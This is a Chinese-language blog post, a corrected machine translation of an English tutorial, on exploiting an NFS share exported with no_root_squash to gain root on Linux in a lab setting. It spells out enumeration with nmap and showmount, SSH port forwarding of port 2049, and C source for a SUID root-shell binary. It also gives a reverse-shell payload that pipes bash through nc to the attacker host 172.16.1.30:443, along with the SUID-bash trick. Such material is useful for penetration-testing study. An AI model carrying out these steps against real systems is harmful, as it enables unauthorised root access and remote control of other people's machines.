Linux 提權-NFS 共享

扛枪的书生發表於2024-07-18

本文透過 Google 翻譯 NFS Share no_root_squash – Linux Privilege Escalation 這篇文章所產生,本人僅是對機器翻譯中部分表達彆扭的字詞進行了校正及個別註釋補充。


導航

  • 0 前言
  • 1 什麼是 NFS 共享?
  • 2 外部列舉 NFS 共享
    • 2.1 使用 Nmap 列舉 NFS 共享
    • 2.2 列舉 NFS 共享
    • 2.3 掛載 NFS 共享
  • 3 內部列舉 NFS 配置
    • 3.1 手動列舉 NFS
    • 3.2 工具列舉 NFS
  • 4 埠轉發 NFS 共享
  • 5 掛載 NFS 共享並提權
    • 5.1 示例 1:為 Root Shell 製作漏洞利用程式
    • 5.2 示例 2:為 Root Shell 複製 /bin/bash

0、前言

在這篇文章中,我們將學習如何列舉和攻擊 NFS 共享,以便將標準使用者許可權提升到 root。

我們首先使用 nmap 掃描目標上開放的埠,將發現 NFS 共享已開放。隨後,我們與 NFS 服務互動,發現我們沒有獲得惡意攻擊所需的許可權。接下來,我們將在目標機器上立足,並使用手動方法和工具從目標主機內部列舉 NFS 伺服器配置。在內部列舉 NFS 配置之後,我們發現其實我們可以惡意提升許可權到 root,但是,這樣做之前需要一些先做一些埠轉發的操作。

1、什麼是 NFS 共享?

NFS 是一種執行在埠 2049 上的網路檔案共享協議,由伺服器和客戶端兩個元件組成。共享目錄是在 NFS 伺服器上建立的,以便可以透過網路與其他 Linux 客戶端共享檔案,獲得許可的使用者可以將檔案新增到共享中,然後與有權訪問該目錄的其他使用者共享。

預設情況下,每個 NFS 共享均啟用了 root_squash 功能,用以防止被共享的檔案擁有 root:root 身份或特殊許可權(即啟用 root_squash 之後,共享檔案均是 nobody:nogroup 身份)。而如果啟用了 no_root_squash 功能,那麼共享檔案就可以以 root 的身份存在,我們將在本篇文章中看到,這很容易導致許可權升級。

2、外部列舉 NFS 共享

當尋找 NFS 共享時,我們通常會發現它們是對外開放的,因為它們需要由NFS客戶端遠端訪問。這意味著我們可以透過 nmap 掃描檢視目標是否正在執行 NFS 伺服器並且具有可用於互動的共享。

2.1、使用 Nmap 列舉 NFS 共享

如前所述,我們會在 nmap 掃描期間發現目標上的 NFS 共享是否開啟,所以讓我們看看它會是什麼樣子。

nmap -A -sV -sC -T4 172.16.1.175 -p- -oN scan.nmap

好吧,NFS 共享的埠是 2049,但我們對埠 111 也很感興趣,因為那是 NFS 服務繫結的 rpc 埠,現在我們可以列舉該服務。

2.2、列舉 NFS 共享

我們可以透過兩種方式列舉 NFS 共享。第一種方法是使用 nmap,另一種方法是使用 showmount 命令。

通常我們使用 showmount 命令進行快速列舉。

showmount -e 172.16.1.175

上圖顯示檔案系統的根目錄中有一個名為 /share 的共享資料夾,其次,我們可以看到該共享應用了兩組特權。

第一組許可權僅為本地主機 (127.0.0.1/32) 設定,第二組許可權為網路中的任何主機 (172.16.1.0/24) 設定。由於我們的攻擊者計算機的 IP 地址為 172.16.1.30,因此我們可以與共享進行互動。

或者,我們可以使用 nmap 對共享進行更深入的列舉。透過執行以下命令,我們可以執行 nmap 所有 NFS 相關的指令碼:

nmap -sT -sV --script nfs* 172.16.1.175 -p111

這比 showmount 命令的輸出要詳細得多,我們可以看到 nmap 實際上連線到了共享並列舉了裡面的檔案。其中 /share 目錄的所有許可權都是 rwx,這意味著任何人都可以在其中讀寫;NoExecute 標誌也已設定,因此我們無法執行共享中的任何二進位制檔案或指令碼;共享裡面只有一個檔案:"welcome.txt";其餘資訊還包含可以掛載共享的 IP 範圍以及共享的可用空間。

透過兩種不同的方式列舉共享資料夾後,我們可以看到我們屬於 172.16.1.0/24 網段,這意味著我們可以掛載此共享以檢視 welcome.txt 檔案,也可以嘗試寫入檔案,在這裡我們看看是否可以執行特權檔案寫入。

2.3、掛載 NFS 共享

列舉完成後,我們現在可以專注於掛載共享。為此,我們可以測試幾種不同的語法,以防其中一種不起作用。

我們需要做的第一件事是在攻擊者機器上建立一個掛載點,以便與共享進行互動。

mkdir /mnt/share

建立掛載點後,我們就可以掛載共享並將其連結到掛載點。如果我們檢視一下 nmap 掃描,就會發現它顯示版本 2、3、4 都處於活動狀態,因此讓我們先嚐試使用版本 2 進行掛載,因為它是最不安全的可用版本。

mount -o rw,vers=2 172.16.1.175:/share /mnt/share

我們得到的錯誤資訊是不支援版本 2。因此,接下來我們需要測試版本 3,如果版本 3 也不支援,再測試版本 4。

mount -o rw,vers=3 172.16.1.175:/share /mnt/share

掛載成功,現在使用命令 df -h 檢視所有掛載點,可以看到遠端 172.16.1.175:/share 已掛載到本地 /mnt/share。

Perfect!現在,我們可以測試另一個命令。

mount -t nfs 172.16.1.175:/share /mnt/share -vvvv

這將嘗試掛載預設情況下可用的最新版本,並且 -vvvv 引數可用於非常詳細的輸出以檢視是否有錯誤產生。

我們可以看到此命令先是嘗試使用版本 4 進行連線,但超時。不過,在上一個命令中說明版本 3 確實對我們有用,所以讓我們繼續。

我只是想說明,如果前兩個命令不起作用,你可以嘗試使用不同的命令來掛載共享。此外,最後一個故障排除技巧是在掛載失敗時使用 -vvvv 來嘗試確定根本原因。

此時,共享已掛載完成,導航進入 /mnt/share 資料夾後,我們準備新建一個檔案以檢視我們所擁有的許可權。我們最感興趣的是是否可以以 root 身份執行特權檔案寫入。

不幸的是,當我們建立測試檔案時,檔案的所有者和組均為 nobody:nogroup。這意味著該共享已啟用 root_squash。不過,我們還不能就此放棄,因為該共享還向 127.0.0.1/32 開放,而後者包含一組不同的許可權,例如啟用了 no_root_squash。

為了進一步列舉此服務,我們需要在目標上立足。

如果我們發現自己能夠以 root 身份寫入,這就意味著 no_root_squash 已啟用,而此時我們甚至還沒有在受害者機器建立立足點,就已經找到了特權升級的路徑!如果是這種情況,我們可以先建立一個 SUID 二進位制檔案來提供一個 root shell,然後等獲得了立足點,我們就可以執行它用以直接升級到 root!

而現在,我們所能做的就是列舉此時共享內的檔案,所以讓我們看看 “welcome.txt” 有什麼。

這告訴我們,新使用者帳戶的密碼為 P@ssw0rd,他們需要在 7 天內更改密碼。

3、內部列舉 NFS 配置

此時,假設我們已經獲得了憑證並在目標上站穩了腳跟,接下來我們將瞭解如何手動和使用 LinPEAS 列舉 NFS 伺服器配置。

ssh juggernaut@172.16.1.175

3.1、手動列舉 NFS

要手動列舉 NFS 伺服器的配置,我們需要做的就是檢視 NFS 訪問控制列表 /etc/exports 檔案的內容。

cat /etc/exports

在這裡,我們可以看到在這臺伺服器上,只有 /share 目錄是共享的,而該目錄有兩個單獨的條目。而令我們最感興趣的是設定了 no_root_squash 的第二個條目設定。

  • rw:該選項允許客戶端對捲進行讀寫操作。
  • sync:該選項強制 NFS 在回覆前將更改寫入磁碟。這將帶來更穩定、更一致的環境,但會降低檔案執行速度。
  • inescure:該選項允許客戶端使用任何埠訪問 NFS 共享。
  • no_subtree_check:該選項阻止子樹檢查,在該過程中主機必須檢查該檔案在每個請求的匯出樹中是否仍然可用。
  • no_root_squash:該選項允許在共享內以特權方式寫入檔案。預設情況下,NFS 會將遠端 root 使用者的請求轉換為伺服器上的非特權使用者。這是一項安全功能,目的是防止客戶端的 root 賬戶以 root 身份使用主機的檔案系統 – no_root_squash 禁用了這一行為。

第一個 /share 條目適用於外部 IP 客戶端,在 ACL 設定中不包含 no_root_squash。這意味著 root_squash 是隱含的,這就是為什麼我們的測試檔案被寫成 nobody:nogroup 的原因。如果啟用了 no_root_squash,檔案就會被寫為 root。

第二個 /share 條目確實啟用了 no_root_squash,這意味著在本地訪問共享將允許特權檔案寫入!

唯一的問題是:我們如何才能以 root 身份在本地與該共享互動,從而在其中寫入惡意檔案呢?– 很簡單,我們使用埠轉發!

如果我們將該共享埠轉發到攻擊者機器,就能在攻擊者機器內部掛載該共享。然後,由於我們在 "本地" 訪問共享時是攻擊者機器上的 root 使用者,因此我們可以以 root 使用者身份在內部編寫惡意 SUID 可執行檔案。之後,我們就可以用標準使用者 juggernaut 執行該程式,並將我們的許可權提升到 root。

在進入開發階段之前,我們首先看看 LinPEAS 是如何為我們列舉 NFS 共享的。

3.2、工具列舉 NFS

LinPEAS 是終極的後漏洞列舉工具,此處我們省去了它的傳輸過程。

cd /dev/shm
wget http://172.16.1.30/linpeas.sh
chmod 755 ./linpeas.sh

當我們的工具準備就緒後,我們只需使用命令 ./linpeash.sh 即可執行指令碼。執行完成後,我們需要找到 NFS 共享設定,可以透過滾動到 Software Information 部分,然後向下滾動到 Analyzing NFS Exports Files 來找到該設定。

正如我們在手動列舉中看到的那樣,LinPEAS 發現 no_root_squash 已設定並將其標記為紅色/黃色。

現在我們已經瞭解瞭如何列舉 NFS 共享的 ACL 設定,接下來就可以繼續下面的示例:利用 no_root_squash 配置來獲取 root shell。

4、埠轉發 NFS 共享

如前所述,與本地共享進行互動的唯一方法是將其直接掛載在目標主機上,這需要我們已經是 root。但是,我們還可以透過另一種方法以 root 身份從 localhost 掛載此伺服器。為此,我們需要利用埠轉發。

由於我們知道 NFS 共享在埠 2049 上執行,並且還知道 juggernaut 使用者可以透過 SSH 訪問系統,因此將此埠轉發到攻擊者計算機的最簡單方法是執行本地埠轉發。

以下命令可用於將埠 2049 本地轉發到我們的攻擊者計算機:

ssh -N -L 127.0.0.1:2049:127.0.0.1:2049 juggernaut@172.16.1.175

看到提示掛起,說明埠轉發成功;當我們在攻擊者機器上開啟一個新選項卡並執行 netstat -tulpn 命令時,我們應該看到埠 2049 在本地開啟。

Great!現在,我們可以與該服務進行互動,就好像它是在攻擊者的機器上執行一樣。

最終,與我們遠端和服務互動時不同,這次我們是在本地和服務互動,而 no_root_squash 已對 localhost 啟用,所以我們可以以 root 身份寫入檔案了!

5、掛載 NFS 共享並提權

mount -t nfs -o port=2049 127.0.0.1:/share /mnt/share

共享掛載成功後,為了確認我們可以在共享中執行特權寫入,我們需要建立一個測試檔案。

BOOM!這次我們的測試檔案是以 root 身份寫入的!這意味著我們可以建立一個惡意二進位制檔案,或者將 /bin/bash 複製到共享中並設定 root:root 所有權和 SUID 許可權,然後透過 SSH 返回受害者並使用 Juggernaut 執行它以提升我們的root許可權!

讓我們看看如何提升為 root 使用者的兩個例子。

5.1、示例 1:為 Root Shell 製作漏洞利用程式

在第一個示例中,我們將在攻擊者計算機上製作自定義漏洞利用程式,然後將其放入共享資料夾中。

為了製作自定義漏洞,我們可以使用以下命令:

echo 'int main() { setgid(0); setuid(0); system("/bin/bash -p"); return 0; }' > /mnt/share/root_shell.c

我們使用 setgid(0) 和 setuid(0) 來允許程式以 root 身份執行。需要注意的是,使用 msfvenom 製作的漏洞在這裡不起作用,因為它沒有設定這些標誌。

接下來,我們需要編譯我們的漏洞利用程式,然後將其複製到共享中,並在共享後為其授予 SUID 許可權。

注意:您將看到一些警告,但這些不是錯誤,該檔案應該編譯沒有任何問題。

gcc ./root_shell.c -o ./root_shell
cp root_shell /mnt/share/
chmod +s /mnt/share/root_shell

完成後,我們可以檢查 /mnt/share 資料夾以確認該二進位制檔案歸 root 所有並設定了 SUID 位。

Perfect!我們可以看到許可權集中的 “s”,並且二進位制檔案突出顯示為紅色,這表明 SUID 位已設定。

接下來,我們需要做的就是透過 SSH 回到受害者並導航到共享資料夾,以確保從內部和外面看到的都是一樣的。

透過 SSH 返回受害者後,我們可以看到漏洞正在等待我們,只需使用 ./root_shell 執行它,我們就會進入 root shell。

如果您更喜歡反向 shell,請在製作漏洞利用程式時使用以下命令,然後在埠 443 上設定偵聽器以在執行 shell 時捕獲該 shell。

echo 'int main() { setgid(0); setuid(0); system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 172.16.1.30 443 >/tmp/f"); return 0; }' > /mnt/share/root_reverse_shell.c

5.2、示例 2:為 Root Shell 複製 /bin/bash

進入 root shell 的一種更簡單的方法是將 /bin/bash 複製到我們掛載的共享資料夾中,並將所有權更改為 root:root 併為其授予 SUID 許可權。最後,我們只需要透過 SSH 作為 Juggernaut 返回受害者,然後執行 SUID bash 二進位制檔案以獲得 root shell。

第一步必須在受害者身上完成。我們不能將攻擊者計算機上的 /bin/bash 複製到共享中,然後在受害者計算機上執行。這很可能行不通,因為很可能會出現核心和 bash 版本不匹配的情況。

首先,我們需要作為 juggernaut 返回 SSH 會話,然後將 /bin/bash 複製到共享中。

有了共享中的 bash 檔案,接下來我們需要回到攻擊者機器上,將檔案的所有權更改為 root 並授予它 SUID 許可權。

chown root:root /mnt/share/bash
chmod +s /mnt/share/bash

Perfect!我們將所有權從 kali:kali 切換到 root:root,然後授予二進位制 SUID 許可權。

二進位制檔案的 所有者/組 之所以顯示為攻擊者機器上的 kali:kali,是因為受害者機器上的使用者 juggernaut 的 uid 正好同攻擊者機器上的使用者 kali 的 uid 相同。

最後,我們只需要再次返回受害者 SSH 會話,然後執行二進位制檔案,我們就應該進入了 root shell。

從受害者的角度來看,一切看起來都很好。

真相時刻……

/share/bash -p

BOOM!它成功了,我們成功地進入了 root shell!

相關文章